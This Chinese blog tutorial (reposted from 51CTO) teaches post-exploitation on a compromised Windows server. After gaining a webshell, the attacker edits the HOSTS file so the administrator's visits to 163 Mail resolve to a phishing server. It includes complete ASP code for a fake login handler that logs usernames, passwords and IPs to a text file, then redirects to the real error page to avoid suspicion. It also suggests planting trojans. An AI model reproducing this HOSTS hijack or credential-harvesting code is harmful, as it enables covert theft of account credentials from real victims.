利用DNS解析原理扩大战果
+———————————————————————————————+
+ Author:LengF Site:81sec.com Email:cn_lgz[at].126.com +
+———————————————————————————————+
一.问题篇
在做渗透测试的过程中,当我们拿到webshell的时候,我们可能会遇到这样一些问题:
(1)当你拿到的WebShell并且很轻易的拿到服务器System,但是当你发现这台服务器并没有什么价值,而他本身是独立服务器或者是无法渗透内网其他主机的时候,如何扩大自己的战果?
(2)经常我们会有这样一种思路,破解了网站管理员很可能跟系统密码或者其他关键密码相似,我们就可以以这些为基础社工,同样也是如何扩大自己战果的问题.
终究一个问题就是如何扩大战果,我的思路是,首先先查看管理员登录该服务器经常访问的网页记录是什么,如果是有邮箱什么的或者其他网站,那么好了,我们可 以通过修改他DNS解析来让先访问我们设置好的页面进行钓鱼,甚至直接挂马,这种做法比较常见.当然如果管理员并不是经常通过这台浏览器访问某些网站,那 么我们可以在我们渗透的网站管理后台添加一个钓鱼或者挂马页面就可以了.当然今天讨论的是针对于管理员有经常访问的网站进行一个DNS的欺骗过程.
二.原理篇
说到DNS的解析原理可能涉及很多知识,在这篇文章我并不想谈这么多。我们只关心DNS的解析过程的一个顺序问题。下面贴一张图来解释,如图01:
我简单解释下是什么意思:这是DNS名称解析过程顺序图,按照序号的优先级,步骤解释如下:
<1>输入网址,从IE或者是ping域名
<2>查看本地的计算机名,就是查看是否是自己
<3>查询系统的HOSTS文件的记录C:\windows\system32\drivers\etc\hosts
<4>查找本地的DNS服务器
<5>从NetBIOS名称缓存中查找
<6>从WINS服务器查找该域名与IP对应关系
<7>广播让别人告诉我这个域名和IP的对应关系
<8>查找本地的LMHOST文件(和HOSTS文件同一目录)
在这8个步骤中,按顺序,只要一个步骤成功解析就完成了。其中我们有2处可以修改,第一步和第八步,但是考虑到常规情况一般只到第四步,所以我们可以通过修改HOSTS来做到DNS的欺骗了。原理就简单讲到这里。
三.实战篇
担心某些朋友对号入座,我就不演示真是环境,我以本地虚拟机搭建的Window2003设置DNS欺骗实现对管理员163邮箱的账户信息。
1.设置DNS欺骗,修改HOSTS文件
用记事本打开c:\windows\system32\drivers\etc\hosts,如图02:
192.168.11.11是你钓鱼页面的服务器,mail.163.com是服务器管理员常登录的页面,也就是我们要欺骗的网站。修改完保持,我们ping下看看是否完成了映射,同时也是验证我们原理篇里面的理论是否正确。结果如图03:
发现ping mail.163.com 已经转发到我们的钓鱼页面的服务器上去了。好了,下面的关键就是钓鱼页面的设计了,当然越逼真成功率就越高。我利用ASP模仿了163登录界面,将这个界 面表单的action改成我们本地的checklogin.asp,为了更加的逼真,防止管理员警觉,我们还要构造一个错误页面。下面是我们主要的记录密 码文件:
<%
‘ 得到用户帐户
mailuser=request.Form(
"username"
)
‘ 得到用户密码
mailpwd=request.Form(
"password"
)
‘ 组合信息保存在变量
mailinfo=mailinfo&
"ClientIP:"
&request.servervariables(
"Remote_Host"
)&
"|"
mailinfo=mailinfo&
"MailUser:"
&mailuser&
"@163.com|MailPwd:"
&mailpwd
‘ 准备创建mail.txt文件,先得到其物理路径
pwdtxt=server.mappath(
"mail.txt"
)
‘ 利用FSO组件写txt
Set
fso=server.CreateObject(
"Scripting.FileSystemObject"
)
‘ OpenTextFile第二个参数,当等于8表示追加模式
Set
txtfile=fso.OpenTextFile(pwdtxt,8,true)
txtfile.WriteLine(mailinfo)
txtfile.Close
' 得到密码后就要转移到163的真实地址,密码错误提示界面
rurl=
"http://email.163.com/errorpage/err_163.htm?errorType=460&errorUsername="
&mailuser&
"@163.com"
‘ 马上重定向到163网页去
response.Redirect(rurl)
%>
|
在这里特别提醒的是,rurl中的错误页面中的域名email.163.com不能和我们上面HOSTS文件不能相同,否则也是会解析到本地而发现 文件并不存在而报错。这个主要是通过查看别名来实现的。你可以通过旁注来得到别名,这样就可以完整的拦截密码.隐蔽性较好,因为输错一两次密码也是比较正 常,比较不容易引起管理警觉。
当管理员在服务器上访问mail.163.com 的时候就会访问我们预先设置好的IP服务器,当输入完密码,我们设置提示163的密码错误页面就跳转,这之后再登录就可以正常登录163的邮箱了,也就不 容易被发现了。有些人会说那如果没有别名?当然这就比较不好办,不过你可以让他转到www.163.com但是这样还是不够隐蔽就是了。
好了实战就到这里,大家自由发挥。
四.总结篇
在渗透过程往往积累的是经验,山穷水路的时候不妨考虑下这个思路。这个思路有很多优点。整个过程实现起来比较简单,只要通过修改脚本或者自行制作一个钓鱼 页面。另外有一个应用,那就是利用他得到管理员的密码,当我们无法破解密码的时候这是个比较不错的想法。最后,我们很多和我一样的网络安全爱好者对于免杀 并不熟悉,这就省得免杀木马或者一些提权的工具了。本文只是一种思路,很多朋友也应该想到,草成此文和大家分享。有不对还望指出。
本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/538391,如需转载请自行联系原作者